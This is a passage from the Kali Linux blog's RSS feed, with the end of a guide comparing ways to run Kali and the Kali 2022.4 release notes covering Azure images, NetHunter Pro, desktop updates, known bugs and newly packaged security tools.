&lt;/ul>
&lt;p>These are all questions that can help to pinpoint what type of Kali instance we will need to create. Though keep in mind these are just example questions and there may be more, or less, that need to be answered.&lt;/p>
&lt;hr>
&lt;h2 id="what-should-i-use">What should I use?&lt;/h2>
&lt;p>So we asked and answered what type of situation we will be using Kali under. Now what? Well, now it is time to take a look at what options are normally used for what purposes:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Installations&lt;/strong>: A very traditional way of using Kali, and very familiar as well. During installation there is quite a bit of customization that can occur, and post-installation even more so. This is useful for a wide number of circumstances, ranging from a daily use Linux system to a dedicated pentest machine. If you are looking for a personal computer, this would be the image to use.&lt;/li>
&lt;li>&lt;strong>Virtual Machines&lt;/strong>: Another familiar way to use Kali. Virtual machines provide a very similar experience to a bare-metal installation. Useful for short or long lived instances, virtual machines can utilize snapshots to revert back to an earlier point in time to have a system ready made for a pentest whenever. If you are looking for something to use for work occasionally, use a virtual machine. When in doubt, virtual machines are always the way to go.&lt;/li>
&lt;li>&lt;strong>Cloud&lt;/strong>: A fairly popular way of using Kali. The images are kept bare-bones so it is easy to only use what is needed. Useful for short or long lived instances, and especially useful for remote pentests. If you need to work remote, try out a cloud system.&lt;/li>
&lt;li>&lt;strong>Containers&lt;/strong>: There is a growing popularity for containers. Containers are not a complete replacement for virtual machines, however the ability to run a full traditional Kali desktop environment out of them is not something to discount. Especially useful for Apple Silicon users as virtual machines are still not quite as easy to use as on traditional architectures. If you need to quickly get a port scan setup and ran, go with a container.&lt;/li>
&lt;li>&lt;strong>WSL&lt;/strong>: A very useful feature of modern Windows systems. While there is not enough ways to acquire WSL to warrant a column on the table, do check it out under the virtual machines category. WSL in its current form operates on the back end as an integrated virtual machine but presents itself as a highly integrated solution allowing you to run Kali apps alongside your traditional Windows apps. We have a number of deep customization options such as Win-KeX to make this as easy as possible. WSL is useful for daily Windows users. If you are thinking of using a container or a virtual machine, but are on Windows, try WSL instead.&lt;/li>
&lt;li>&lt;strong>USB&lt;/strong>: Live boot is a more dated method of using Kali that is becoming less popular over time. You can choose between standard live boot, where all data is stored in ram and wiped when the machine is powered off, or a persistence mode, where data will be written to the USB drive. This is especially useful for repairing machines, investigating potential harmful programs installed to a machine, or keeping a personalized Kali instance around to be used on different computers. If you aren&amp;rsquo;t quite sure if you want to use Kali yet, a USB may be the way to go.&lt;/li>
&lt;li>&lt;strong>ARM (Single Board Computer)&lt;/strong>: An important platform to Kali from the start, ARM Single Board Computer devices serve quite a lot of purposes. Able to be used as daily computers or a remote access system, ARM devices are quite versatile. Especially useful for &amp;ldquo;leave behind&amp;rdquo; systems. Go with an ARM device if you want something inexpensive but reliable.&lt;/li>
&lt;li>&lt;strong>Mobile (NetHunter)&lt;/strong>: This is a super fun solution that allows you to run Kali from your Android mobile device. A modern phone is a great platform for executing any number of traditional attacks or unique items that only make sense from a mobile device such as pretending to be a keyboard or network device when plugged into a computer. Especially useful for a more low profile setting. If you aren&amp;rsquo;t able to carry around a laptop or don&amp;rsquo;t want to drop an ARM device, NetHunter will be there.&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="pros-and-cons">Pros and Cons&lt;/h2>
&lt;p>Each way to interact with Kali will have its own pros and cons. Going over all of them would be impossible, but we can lay out some of the most obvious.&lt;/p>
&lt;p>&lt;strong>Installations&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Pros: Familiar, very customizable, able to be dual-booted&lt;/li>
&lt;li>Cons: Takes up a large amount of hard drive space&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Virtual Machines&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Pros: Familiar, quick and easy to create, can utilize snapshots, variable hard drive size&lt;/li>
&lt;li>Cons: Slower than a bare-metal install, difficult to get direct access to hardware&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Cloud&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Pros: Easy to create and delete, able to use anywhere, collaboration is easy&lt;/li>
&lt;li>Cons: Reliance on an external resources, potentially slower due to connection speeds, potential additional running costs&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>Containers&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Pros: Lightweight, very customizable, easy to create and delete, can run in the background&lt;/li>
&lt;li>Cons: Restrictions involving software and hardware, can be unstable the larger the container gets&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>USB&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Pros: Easy to carry around, utilizes all system resources, fully customizable, small form factor, can be used to recover a system&lt;/li>
&lt;li>Cons: Slower than a bare-metal install&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>&lt;a href="https://arm.kali.org/">ARM (Single Board Computer)&lt;/a>&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Pros: Lightweight, small form factor, low power consumption, easy to carry around, cheap&lt;/li>
&lt;li>Cons: Generally less system resources, not all software is available for ARM&lt;/li>
&lt;/ul>
&lt;p>&lt;strong>&lt;a href="https://nethunter.kali.org/">Mobile (NetHunter)&lt;/a>&lt;/strong>:&lt;/p>
&lt;ul>
&lt;li>Pros: Is a phone, able to access a desktop environment, low profile, easy to carry around, useful preloaded attacks&lt;/li>
&lt;li>Cons: Small display, for a full experience it requires a rooted Android device, may require external hardware such as keyboards or Wi-Fi cards&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="closing-thoughts">Closing thoughts&lt;/h2>
&lt;p>Before completely wrapping up it may be helpful to point out a few of the most popular ways of using Kali and the image that would work best, for those who may want advice or examples.&lt;/p>
&lt;p>&lt;strong>Daily driver&lt;/strong> - Use the installer image and single boot Kali. With the &lt;a href="https://www.kali.org/docs/">docs&lt;/a> and our &lt;a href="https://forums.kali.org/">forums&lt;/a> you will be able to use Kali daily just fine with no worries. Be sure to follow the &lt;a href="https://www.kali.org/docs/installation/barebone-kali/">barebones&lt;/a> install method!&lt;/p>
&lt;p>&lt;strong>Professional pentester&lt;/strong> - Most likely you will be wanting to use the cloud images or a virtual machine. While installing bare-metal is a possibility, the frequency of having to wipe the system or re-install to protect client data may prove tiresome.&lt;/p>
&lt;p>&lt;strong>Hobbyist or student&lt;/strong> - A virtual machine is almost always going to be the way to go for these situations. ARM and Nethunter will also be fun to explore. Bare-metal installs are recommended against due to the potential of &amp;ldquo;&lt;a href="https://techterms.com/definition/bricking">bricking&lt;/a>&amp;rdquo; installs from inexperience.&lt;/p>
&lt;p>To restate it, you won&amp;rsquo;t find a singular &amp;ldquo;right&amp;rdquo; way to interact with Kali, you have to determine what works best for you. We hope to have provided enough information for you to determine what will work best for you and understand what drawbacks may come with that solution. If not, then you can always come ask in our &lt;a href="https://discord.kali.org/">Discord server&lt;/a>!&lt;/p></description></item><item><title>Kali Linux 2022.4 Release (Azure, Social &amp; Kali NetHunter Pro)</title><link>https://www.kali.org/blog/kali-linux-2022-4-release/</link><guid isPermaLink="true">https://www.kali.org/blog/kali-linux-2022-4-release/</guid><pubDate>Tue, 06 Dec 2022 00:00:00 +0000</pubDate><enclosure url="https://www.kali.org/blog/kali-linux-2022-4-release/images/banner-2022.4-release.jpg" type="image/jpg"/><description>&lt;p>Before the year is over, we thought it was best to get the final 2022 release out. Today we are publishing &lt;strong>Kali Linux 2022.4&lt;/strong>. This is ready for immediate &lt;a href="https://www.kali.org/get-kali/">download&lt;/a> or &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">updating&lt;/a> existing installations.&lt;/p>
&lt;p>A summary of the &lt;a href="https://bugs.kali.org/changelog_page.php">changelog&lt;/a> since &lt;a href="https://www.kali.org/blog/kali-linux-2022-3-release/">August&amp;rsquo;s 2022.3 release&lt;/a>:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2022-4-release/#microsoft-azure">Microsoft Azure&lt;/a>&lt;/strong> - We are back on the Microsoft Azure store&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2022-4-release/#more-platforms">More Platforms&lt;/a>&lt;/strong> - Generic Cloud, QEMU VM image &amp;amp; Vagrant libvirt&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2022-4-release/#social-networks">Social Networks&lt;/a>&lt;/strong> - New homes, keeping in touch &amp;amp; press packs&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2022-4-release/#kali-nethunter-pro-release">Kali NetHunter Pro&lt;/a>&lt;/strong> - Announcing the first release of a &amp;ldquo;true&amp;rdquo; Kali Linux on the mobile phone (PinePhone / Pro)&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2022-4-release/#kali-nethunter-update">Kali NetHunter&lt;/a>&lt;/strong> - Internal Bluetooth support, kernel porting video, firmware updates &amp;amp; other improvements&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2022-4-release/#desktop-updates">Desktop Updates&lt;/a>&lt;/strong> - GNOME 43 &amp;amp; KDE 5.26&lt;/li>
&lt;li>&lt;strong>&lt;a href="https://www.kali.org/blog/kali-linux-2022-4-release/#new-tools-in-kali">New Tools&lt;/a>&lt;/strong> - As always, various new packages added&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h2 id="microsoft-azure">Microsoft Azure&lt;/h2>
&lt;p>Its been a long time coming, but we are very happy to announce that Kali has been added to &lt;a href="https://azuremarketplace.microsoft.com/en/marketplace/apps/kali-linux.kali">Microsoft Azure&lt;/a> (again - and this time to stay)! &lt;a href="https://www.kali.org/blog/kali-linux-2020-4-release/">Following in the foot steps&lt;/a> of our &lt;a href="https://aws.amazon.com/marketplace/pp/B08LL91KKB">Amazon AWS&lt;/a> image, we are using the same &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-cloud">kali-cloud build-scripts&lt;/a> now to automate publishing to Microsoft Azure store.&lt;/p>
&lt;p>Out of the box, &lt;em>currently&lt;/em>, there is no graphical user interface, or any tools pre-installed. Should you want the default toolset (&lt;code>kali-linux-default&lt;/code>) or any other combination of &lt;a href="https://www.kali.org/docs/general-use/metapackages/">metapackages&lt;/a>, it should be like any other Kali platform. For installing a desktop environment, we have the following kali-docs page: &lt;a href="https://www.kali.org/docs/general-use/xfce-with-rdp/">Setting up RDP with Xfce&lt;/a>&lt;/p>
&lt;p>We hope in 2023 we can revisit this again and are looking at doing ARM64 architecture, as well as different variations of images, allowing you to choose from a mixture of headless bare-bones install, the traditional environment, and a mixture of everything in-between.&lt;/p>
&lt;h2 id="more-platforms">More Platforms&lt;/h2>
&lt;p>We are now including a &lt;strong>QEMU&lt;/strong> image with our &lt;a href="https://www.kali.org/get-kali/">pre-generated images&lt;/a>. We hope this makes it easier for the people who use self-hosted Proxmox Virtual Environments (VE), &lt;a href="https://pkg.kali.org/pkg/virt-manager">virt-manager&lt;/a>, or &lt;a href="https://pkg.kali.org/pkg/libvirt">libvirt&lt;/a>!&lt;/p>
&lt;p>On that subject, &lt;a href="https://gitlab.com/elreydetoda">elrey (alex)&lt;/a> from the community has added libvirt support to our &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-vagrant">kali-vagrant build-script&lt;/a>.&lt;/p>
&lt;p>In Kali 2022.3, we have produced a &lt;strong>Generic Cloud&lt;/strong> image. The idea of this image is that it should work in &amp;ldquo;most&amp;rdquo; cloud providers This is coming from our &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-cloud">kali-cloud build-scripts&lt;/a>.
So if you are self-hosting OpenStack, this is a great way of getting Kali loaded up!&lt;/p>
&lt;h2 id="social-networks">Social Networks&lt;/h2>
&lt;p>We have expanded the social networks which we post on, as well as refreshing the current ones. As a recap:&lt;/p>
&lt;ul>
&lt;li>Facebook: &lt;a href="https://www.facebook.com/KaliLinux/">facebook.com/KaliLinux&lt;/a>&lt;/li>
&lt;li>&lt;strong>NEW&lt;/strong> Instagram: &lt;a href="https://www.instagram.com/kalilinux/">instagram.com/KaliLinux&lt;/a>&lt;/li>
&lt;li>&lt;strong>NEW&lt;/strong> Mastodon: &lt;a href="https://infosec.exchange/@kalilinux">@kalilinux@infosec.exchange&lt;/a>&lt;/li>
&lt;li>Twitter: &lt;a href="https://twitter.com/kalilinux">twitter.com/KaliLinux&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>As a reminder, we don&amp;rsquo;t use social networks for technical support - you can receive community support via &lt;a href="https://discord.kali.org/">discord&lt;/a> or our &lt;a href="https://forums.kali.org/">forums&lt;/a> and bug reports should go to the &lt;a href="https://bugs.kali.org/">bug tracker&lt;/a>!
Instead, we automatically post &lt;a href="https://www.kali.org/blog/">blog posts&lt;/a> thus &lt;em>these accounts are mostly unmonitored!&lt;/em>&lt;/p>
&lt;p>If social networks are not your thing, you can also keep in touch via:&lt;/p>
&lt;ul>
&lt;li>Email: &lt;a href="https://www.kali.org/newsletter/">Newsletter&lt;/a>&lt;/li>
&lt;li>RSS: &lt;a href="https://www.kali.org/rss.xml">kali.org/rss.xml&lt;/a>&lt;/li>
&lt;/ul>
&lt;hr>
&lt;h3 id="press-pack">Press Pack&lt;/h3>
&lt;p>We have also taken the time to create a &lt;strong>Press Pack&lt;/strong> &lt;em>(aka Press kit)&lt;/em> for Kali. Here you can find all our product media resources to use, including:&lt;/p>
&lt;ul>
&lt;li>Logomark (our dragon logos)&lt;/li>
&lt;li>Logomark and Wordmark (our iconic avatars - dragon logo with text)&lt;/li>
&lt;li>Wordmark (text as an image)&lt;/li>
&lt;li>Various different image formats (png, svg, jpg)&lt;/li>
&lt;li>Official colours&lt;/li>
&lt;/ul>
&lt;p>&lt;em>Please bear in mind that they are under &lt;a href="https://www.kali.org/docs/policy/trademark/">copyright &amp;amp; trademark&lt;/a> when using them!&lt;/em>&lt;/p>
&lt;p>You can &lt;a href="https://gitlab.com/kalilinux/documentation/press-pack/-/archive/main/press-pack-main.zip">download them all&lt;/a>, or you can &lt;a href="https://gitlab.com/kalilinux/documentation/press-pack/-/tree/main/">view them online&lt;/a>.&lt;/p>
&lt;p style="text-align:center">
&lt;a href="https://gitlab.com/kalilinux/documentation/press-pack/-/tree/main/Kali/Logomark_and_Wordmark">&lt;img src="https://www.kali.org/blog/kali-linux-2022-4-release/images/kali-logo-dragon-blue-transparent.png" alt="Kali Linux" style="display:inline;height:150px">&lt;/a>
&lt;a href="https://gitlab.com/kalilinux/documentation/press-pack/-/tree/main/Kali_NetHunter/Logomark_and_Wordmark">&lt;img src="https://www.kali.org/blog/kali-linux-2022-4-release/images/kali-nethunterpro-logo-dragon-orange-transparent.png" style="display:inline;height:150px">&lt;/a>
&lt;a href="https://gitlab.com/kalilinux/documentation/press-pack/-/tree/main/Kali_NetHunter_Pro/Logomark_and_Wordmark">&lt;img src="https://www.kali.org/blog/kali-linux-2022-4-release/images/kali-nethunter-logo-dragon-grey-transparent.png" style="display:inline;height:150px">&lt;/a>
&lt;/p>
&lt;hr>
&lt;h3 id="media-enquiries">Media Enquiries&lt;/h3>
&lt;p>And on the subject, we do have a page for &lt;a href="https://www.kali.org/contact/">Press and Media enquiries&lt;/a>.&lt;/p>
&lt;h2 id="kali-nethunter-pro-release">Kali NetHunter Pro Release&lt;/h2>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2022-4-release/images/NetHunterPro.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2022-4-release/images/NetHunterPro.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>We are very excited to announce the official support of the Pine64 PinePhone and PinePhone Pro thanks to the amazing work of &lt;a href="https://twitter.com/Shubhamvis98">Shubham Vishwakarma&lt;/a> and the vibrant community.&lt;/p>
&lt;p>The launch of Kali NetHunter Pro is the beginning of a new chapter for Kali Linux and NetHunter, a bare metal installation of Kali Linux with Phosh desktop environment, optimized for mobile devices.&lt;/p>
&lt;p>First of all we make available SD card images for the PinePhone and the PinePhone Pro to dual boot alongside the main OS. Soon we will release alternative versions with Plasma Mobile as well as installers so you can install Kali NetHunter Pro onto the internal flash memory.&lt;/p>
&lt;p>For all those that have a PinePhone or a PinePhone Pro, hop over to our &lt;a href="https://www.kali.org/get-kali/#kali-mobile">download page&lt;/a> and join the brave new world of mobile hacking. For those that don&amp;rsquo;t have a PinePhone yet: What are you waiting for? Get one :-)&lt;/p>
&lt;p>Please help us with the development by testing the images, submitting bugs and improvements in our &lt;a href="https://gitlab.com/kalilinux/nethunter/build-scripts/kali-nethunter-pro">GitLab repository&lt;/a>, and become a part of the vibrant Kali NetHunter community.&lt;/p>
&lt;h2 id="kali-nethunter-update">Kali NetHunter Update&lt;/h2>
&lt;p>&lt;strong>Internal Bluetooth support&lt;/strong> has finally arrived, thanks to &lt;a href="https://twitter.com/yesimxev">@yesimxev&lt;/a> and the awesome &lt;a href="https://www.kali.org/community/">community&lt;/a>! We have added support to some &lt;a href="https://nethunter.kali.org/device-kernels.html">devices&lt;/a> already, however as each &lt;a href="https://nethunter.kali.org/kernels.html">kernel&lt;/a> needs new Bluetooth drivers enabled, it takes time to rebuild each of them.
You are more than welcome to &lt;a href="https://www.kali.org/docs/nethunter/nethunter-kernel-2-config-1/">contribute&lt;/a> if your device is Kali NetHunter supported already without the new drivers.&lt;/p>
&lt;p>&lt;a href="https://twitter.com/yesimxev">@yesimxev&lt;/a> has released the ultimate &lt;a href="https://www.youtube.com/watch?v=FwSHbZqY88k">&lt;strong>Kali NetHunter Complete Kernel Porting Guide&lt;/strong>&lt;/a>. Have you ever dreamt of porting Kali NetHunter to your device but didn&amp;rsquo;t know where to start? This video has it all so get cracking.&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
&lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="allowfullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.kali.org/blog/kali-linux-2022-4-release/https://www.youtube-nocookie.com/embed/FwSHbZqY88k?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
&lt;/div>
&lt;p>Wardriving has been updated with bugfixes, &lt;a href="https://www.kali.org/docs/nethunter/nethunter-btarsenal/">Bluetooth&lt;/a>, RTL-SDR, and MouseJack support. That&amp;rsquo;s good news for &lt;strong>QCACLD-3.0 users (most devices out there)&lt;/strong> as you will be able to use &lt;strong>wardriving with internal wireless and Bluetooth chipsets&lt;/strong>, if OTG adapters are not an option.&lt;/p>
&lt;p>&lt;a href="https://www.kali.org/docs/nethunter/nethunter-kex-manager/">KeX&lt;/a> also received the status fix along with audio support.
Now you can play any audio in KeX session.&lt;/p>
&lt;p>Wireless firmware has been updated, and Magisk firmware flashing is now patched.&lt;/p>
&lt;p>Android 11/12 crashing when starting the &lt;a href="https://www.kali.org/docs/nethunter/#kali-nethunter-application">Kali NetHunter app&lt;/a> has also been fixed with this release.&lt;/p>
&lt;p>Last but not least, let&amp;rsquo;s welcome the &lt;strong>OnePlus 6t&lt;/strong>, &lt;strong>Pixel 4a 5g&lt;/strong> and &lt;strong>Realme 5 Pro&lt;/strong> devices to the list of the &lt;strong>Android 12&lt;/strong> supported &lt;a href="https://nethunter.kali.org/device-kernels.html">devices&lt;/a>.&lt;/p>
&lt;h2 id="desktop-updates">Desktop Updates&lt;/h2>
&lt;p>Both the &lt;a href="https://www.kali.org/blog/kali-linux-2022-4-release/#gnome">GNOME&lt;/a> and &lt;a href="https://www.kali.org/blog/kali-linux-2022-4-release/#kde-plasma">KDE Plasma&lt;/a> desktops have received a major version bump.&lt;/p>
&lt;h3 id="gnome">GNOME&lt;/h3>
&lt;p>For people who opt to use GNOME as their desktop environment, &lt;a href="https://release.gnome.org/43/">&lt;strong>GNOME 43&lt;/strong>&lt;/a> is now in Kali! If you do not read their changelog, below is a quick summary mixed with some of our tweaks:&lt;/p>
&lt;ul>
&lt;li>&lt;strong>Shell updates&lt;/strong>, including a new quick settings panel and an improved theme.
Unfortunately, we had to say goodbye to the extension &lt;strong>proxyswitcher&lt;/strong>, as it was no longer compatible with this new release&lt;/li>
&lt;li>Continues the &lt;strong>migration of multiple programs to GTK4&lt;/strong> with the libadwaita library.
The previous text editor (&lt;code>gedit&lt;/code>) has been replaced with the brand new &lt;code>gnome-text-editor&lt;/code>, which includes an updated Kali color-scheme theme.&lt;/li>
&lt;li>New &lt;strong>GTK3 theme based on the adw-gtk3&lt;/strong> project with Kali&amp;rsquo;s tweaks, which brings a fresh look, and makes the interface coherent between the different GUI libraries. With it, GTK3-based programs don&amp;rsquo;t seem out of place with the recently introduced libadwaita-based ones.&lt;/li>
&lt;/ul>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2022-4-release/images/gnome-43.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2022-4-release/images/gnome-43.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h3 id="kde-plasma">KDE Plasma&lt;/h3>
&lt;p>Kali now includes the new version 5.26 of KDE, which improves the overall desktop experience, and brings tweaks for multiple widgets. You can learn more about the latest changes in the &lt;a href="https://kde.org/announcements/plasma/5/5.26.0/">&lt;strong>Plasma 5.26&lt;/strong> release announcement&lt;/a> publication.&lt;/p>
&lt;div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
&lt;iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" allowfullscreen="allowfullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.kali.org/blog/kali-linux-2022-4-release/https://www.youtube-nocookie.com/embed/tTM3s1Zl8p0?autoplay=0&amp;amp;controls=1&amp;amp;end=0&amp;amp;loop=0&amp;amp;mute=0&amp;amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video">&lt;/iframe>
&lt;/div>
&lt;h2 id="miscellaneous">Miscellaneous&lt;/h2>
&lt;p>Below is a quick list of minor updates:&lt;/p>
&lt;ul>
&lt;li>The Kali dragon logo is now in &lt;a href="https://www.nerdfonts.com/cheat-sheet">nerd-fonts&lt;/a> (&lt;code>f327&lt;/code> aka &lt;code>nf-linux-kali_linux&lt;/code>).&lt;/li>
&lt;li>We are aware of a bug with the installation using speech synthesiser.
&lt;ul>
&lt;li>As a work around, you can use &lt;a href="https://cdimage.kali.org/kali-2022.2/">Kali 2022.2&lt;/a>, and &lt;a href="https://www.kali.org/docs/general-use/updating-kali/">upgrade&lt;/a>.&lt;/li>
&lt;li>We will put out a message on &lt;a href="https://www.kali.org/blog/kali-linux-2022-4-release/#social-networks">social networks&lt;/a> when to grab the weekly images with the fix.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>We are aware of a bug with Metasploit-framework and libssl1.1/OpenSSL v3. As a result, there are issues with payloads using &lt;code>*/*/reverse_https&lt;/code>.
&lt;ul>
&lt;li>We will address this as quickly as we can.&lt;/li>
&lt;li>We will put out a message on &lt;a href="https://www.kali.org/blog/kali-linux-2022-4-release/#social-networks">social networks&lt;/a> when to grab the weekly images with the fix.&lt;/li>
&lt;/ul>
&lt;/li>
&lt;li>RSS feed for torrents! &lt;a href="https://www.kali.org/torrents.xml">kali.org/torrents.xml&lt;/a>.
&lt;ul>
&lt;li>If your client supports it, you can use regex then to filter out which image you prefer:&lt;/li>
&lt;/ul>
&lt;/li>
&lt;/ul>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2022-4-release/images/torrents.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2022-4-release/images/torrents.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;h2 id="new-tools-in-kali">New Tools in Kali&lt;/h2>
&lt;p>It would not be a Kali release if there were not any new tools added! A quick run down of what has been added &lt;em>(to the network repositories)&lt;/em>:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/tools/bloodhound.py/">bloodhound.py&lt;/a> - A Python based ingestor for BloodHound&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/certipy-ad/">certipy&lt;/a> - Tool for Active Directory Certificate Services enumeration and abuse&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/hak5-wifi-coconut/">hak5-wifi-coconut&lt;/a> - A user-space driver for USB Wi-Fi NICs and the Hak5 Wi-Fi Coconut&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/python-ldapdomaindump/">ldapdomaindump&lt;/a> - Active Directory information dumper via LDAP&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/peass-ng/">peass-ng&lt;/a> - Privilege escalation tools for Windows and Linux/Unix* and MacOS. &lt;/li>
&lt;li>&lt;a href="https://www.kali.org/tools/rizin-cutter/">rizin-cutter&lt;/a> - reverse engineering platform powered by rizin&lt;/li>
&lt;/ul>
&lt;p>&lt;em>This is new tools, there are numerous updates to existing tools.&lt;/em>&lt;/p>
&lt;h2 id="kali-arm-updates">Kali ARM Updates&lt;/h2>
&lt;p>We are happy to say that Kali has been added to &lt;a href="https://www.raspberrypi.com/software/">Raspberry Pi Imager&lt;/a> (&lt;code>rpi-imager&lt;/code>), making it even easier to flash Kali to your SDs &lt;em>(as long as you can buy an RPi!)&lt;/em>. We have also written up &lt;a href="https://www.kali.org/docs/arm/using-rpi-imager-to-write-raspberry-pi-images/">a quick guide&lt;/a> on it.&lt;/p>
&lt;p>&lt;p style="text-align: center">
&lt;a href='https://www.kali.org/blog/kali-linux-2022-4-release/images/rpi-imager.png' target="_blank" style="display: inline-block">
&lt;img src="https://www.kali.org/blog/kali-linux-2022-4-release/images/rpi-imager.png" alt="" />
&lt;/a>
&lt;/p>
&lt;/p>
&lt;p>The Kali user&amp;rsquo;s sudoers edit is now its own file in &lt;code>/etc/sudoers.d&lt;/code> and users should no longer be prompted on what to do when an update for sudo comes in. This change does not occur on an upgrade, only fresh installs.&lt;/p>
&lt;p>The &lt;a href="https://www.kali.org/docs/arm/usb-armory-mkii/">USBArmory MKII&lt;/a> has had the u-boot bootloader bumped to 2022.10.&lt;/p>
&lt;p>The build-script for the &lt;a href="https://www.kali.org/docs/arm/cubox/">ODROID-C2&lt;/a> has been fixed and should now properly create images again. Thanks to &lt;a href="https://gitlab.com/Beekhuizen">M Beekhuizen&lt;/a> for reporting the issue.&lt;/p>
&lt;p>&lt;a href="https://www.kali.org/docs/arm/radxa-zero-emmc/">Radxa Zero&lt;/a> images created from the build-scripts should now have firmware to support the wireless card on newer models (1.51+). Thanks to Stefan Lehner (from Discord) for reporting the issue.&lt;/p>
&lt;p>&lt;a href="https://www.kali.org/docs/arm/pinebook-pro/">Pinebook Pro&lt;/a> images have firmware to support the new wireless card on more recent models. Thanks to &lt;a href="https://gitlab.com/dravenwolfgang">Jonathan Cox&lt;/a> for reporting the issue.&lt;/p>
&lt;p>The &lt;a href="https://gitlab.com/kalilinux/build-scripts/kali-arm">kali-arm build-scripts&lt;/a> got a big makeover, thanks to &lt;a href="https://gitlab.com/Arszilla">Arszilla&lt;/a> for putting in the work to do this.&lt;/p>
&lt;h2 id="kali-documentation-updates">Kali Documentation Updates&lt;/h2>
&lt;p>Our &lt;a href="https://www.kali.org/docs/">kali-docs&lt;/a> has had various updates to existing pages as well as the following new pages:&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://www.kali.org/docs/arm/using-rpi-imager-to-write-raspberry-pi-images/">Using the Raspberry Pi Imager software to write Kali Raspberry Pi Images&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/cloud/azure/">Azure&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/introduction/kali-linux-image-overview/">Kali Linux Image Overview&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/nethunter/nethunter-set/">NetHunter Social Engineer Toolkit&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/virtualization/customizing-kali-vagrant/">Customizing a Kali Vagrant Vagrantfile&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/virtualization/install-proxmox-guest-vm/">Kali inside Proxmox (Guest VM)&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/virtualization/running-kali-vm-windows/">Running Kali Linux as a Virtual Machine in Windows&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://www.kali.org/docs/wsl/wsl-preparations/">Preparing a system for WSL&lt;/a>&lt;/li>
&lt;/ul>
&lt;p>Thank you for their work!&lt;/p>
&lt;ul>
&lt;li>&lt;a href="https://gitlab.com/2hexed">@2hexed&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/fabfianda-gitlab">Fabrizio Fiandanese&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/jelmer">Jelmer Vernooij&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/JesseRotenberg">Jesse Rotenberg&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/isopach">Koh You Liang&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/m.01001101.01010110">@OW87&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/rclev4sec">@Rclev4Sec&lt;/a>&lt;/li>
&lt;li>&lt;a href="https://gitlab.com/yesimxev">@yesimxev&lt;/a>&lt;/li>
&lt;/ul>
&lt;h2 id="recent-kali-blog-posts">Recent Kali Blog Posts&lt;/h2>
